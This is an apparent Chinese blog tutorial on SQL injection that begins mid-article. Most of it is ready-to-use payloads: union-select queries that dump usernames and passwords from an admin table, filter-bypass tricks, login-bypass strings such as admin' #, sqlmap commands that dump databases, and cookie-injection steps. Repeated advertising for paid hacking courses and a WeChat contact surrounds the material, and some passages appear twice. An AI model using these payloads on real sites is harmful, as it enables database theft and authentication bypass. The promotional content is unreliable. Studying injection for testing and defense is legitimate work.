SQL注入介绍_sql注入id=-1含义(1)

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

?id=-1’ union select 1,要查询的字段名1,要查询的字段名2 from 要查询的表 //查询一年字段中的内容

?id=-1’ union select 1,unhex(hex(username)),unhex(hex(password)),4 from admin //若内容无法显示,则unhex编码


**情况一**



> 
> 查表名时由于过滤or,所以information\_schema无法使用。 但Mysql5.6及以上版本中  
>  innodb\_index\_stats 和innodb\_table\_stats这两个表中都包含所有新创建的数据库和表名
> 
> 
> 


**PS:/**/可以代替空格 不能用order by测试列数,用group by代替  
 注释符#用,'3代替,数字随便\*\*


**查看表名:**  
 -1’union/**/select/**/1,(select/**/group\_concat(table\_name)/**/from/\*\*/mysql.innodb\_table\_stats),3,‘3


这时就要无列名注入了  
 因为没有mysql.innodb\_column\_stats这个方法,查不了列名  
 大概原理就是没有列名,那就给它取名,然后按别名正常继续注入



> 
> //-1’/**/union/**/select/**/1,(select/**/group\_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/\*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
> 
> 
> 


————————————————————————————————————————————


#### 1.2 字符型



’ and ‘1’='1
’ and ‘1’='2


**剩下步骤和数字型一样…**


### 2 按HTTP提交方式


#### 2.1 POST型注入


**简单说明步骤:**



> 
> 1.直接burpsuite抓取数据包  
>  2.sql跑起来——
> 
> 
> 



sqlmap.py -r “数据包文件” --current-db #查询当前数据库名字

–current-db //表示当前网站的数据库名字
–tables -D “当前数据库名字” //当前网站数据库名字
–columns -T -D //获取表中的列
–dump -C -T -D ///获取列中的字段内容


**sql注入万能用户名**  
 注释法 //将密码注释掉



eg:用户名处 admin’ #
or 方法
eg:admin’ or ‘1’='1


#### 2.2 GET型注入


**简单说明步骤:**



> 
> 1.sql跑起来——  
>  sqlmap.py -u “URL”
> 
> 
> 



–current-db //表示当前网站的数据库名字
–tables -D “当前数据库名字” //当前网站数据库名字
–columns -T -D //获取表中的列
–dump -C -T -D ///获取列中的字段内容


#### 2.3 Cookie型注入


**怎样cookie注入?**  
   **cookie注入分为以下几个阶段:**



> 
> 1. 判断是不是注入点  
>  2.得到字段总数  
>  3.查选表名  
>  4.查选列名  
>  5.脱裤(就是得到我们想得到列名的值)
> 
> 
> 


**我们先理解一下这几个概念:**



> 
> javascript:alert(document.cookie=“id=”+escape(“284”))
> 
> 
> 




document.cookie:表示当前浏览器中的cookie变量

alert():表示弹出一个对话框,在该对话框中单击“确定”按钮确认信息。

escape():该函数用于对字符串进行编码。

cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。

cookie注入原理


**【检测方法】**



> 
> 1、首先找到传参地址: asp?id=xxx(例如:http://www.example.com/news.asp?id=1)  
>  2、去掉参数,访问该url  
>  http://www.example.com/news.asp?  
>  如果页面访问不正常,则说明该参数id是访问页面所必需的的参数,可以尝试继续注入。  
>  3、记录并清空当前浏览器地址栏中的地址,在其中输入  
>  javascript:alert(document.cookie=“id=”+escape(“xxx”));  
>  //这里的xxx就是上一步中id=xxx中的参数值  
>  4、再浏览器地址栏中输入原来的url地址(注意,这里输入的是不带参数值的url,如下):  
>  http://www.example.com/news.asp?  
>  按下回车,访问该url,如果发现页面正常显示了,到此可以证明,我们正在接受的页面存在request方法获取参数,可能存在cookie注入的风险
> 
> 
> 


**【利用方法】:**  
 **手工检测到可能存在cookie注入时,我们就可以通过常规注入方法来进行注入了**



> 
> 1、清空地址栏,输入我们的写cookie代码:  
>  javascript:alert(document.cookie=“id=”+escape(“xxx and 1=1”));  
>  2、使用无参数的url地址访问  
>  http://www.example.com/news.asp?  
>  如果页面正常,我们就可以进行下一步检测。如果这是页面不正常,说明站点管理员已经部署了响应的防御策略,就需要找其他方法注入  
>  3、清空地址,同样的方法写入新的cookie  
>  javascript:alert(document.cookie=“id=”+escape(“xxx and 1=2”));  
>  如果上一次页面正常,这次页面不正常,那么说明存在cookie注入漏洞,可以通过常规方法注入即可,只是cookie注入相对比较麻烦,需要每一次都在浏览器中执行写cookie代码  
>  javascript:alert(document.cookie=“id=”+escape(“xxx 注入语句”));  
>  然后访问不带参数的url地址  
>  http://www.example.com/news.asp?  
>  根据页面提示进行注入即可
> 
> 
> 


### 3 union联合查询(有回显)


**注意:判断是除了在id=1后面加引号,还可以加引号加单括号,等等…**



如:
id=1’
id=1’) and ‘1’=‘1’ and ‘1’=‘2’
id=1"
id=1") and ‘1’=‘1’ and ‘1’=‘2’


**PS:/**/可以代替空格 不能用order by测试列数,用group by代替  
 注释符#用,'3代替,数字随便\*\*


**前面+URL**



> 
> and 1=1  
>  and 1=2  
>  ’ and ‘1’='1  
>  ’ and ‘1’='2
> 
> 
> 




---



‘ order by (1,2,3,4…) --+ //可判断出有几个回显

?id=-1’ union select 1,database(),3 --+ //可判断出数据库名字,假设order by 4出错,变量改为-1

id=-1’ union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)’ 另一种查询方式,后同

?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where
table_schema=‘数据库名字’ --+ //查表明 group_concat多个表有序排列(引号一定要)

?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘输入要查询的表名’ //查询表中的字段

?id=-1’ union select 1,要查询的字段名1,要查询的字段名2 from 要查询的表 //查询一年字段中的内容

?id=-1’ union select 1,unhex(hex(username)),unhex(hex(password)),4 from admin //若内容无法显示,则unhex编码

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值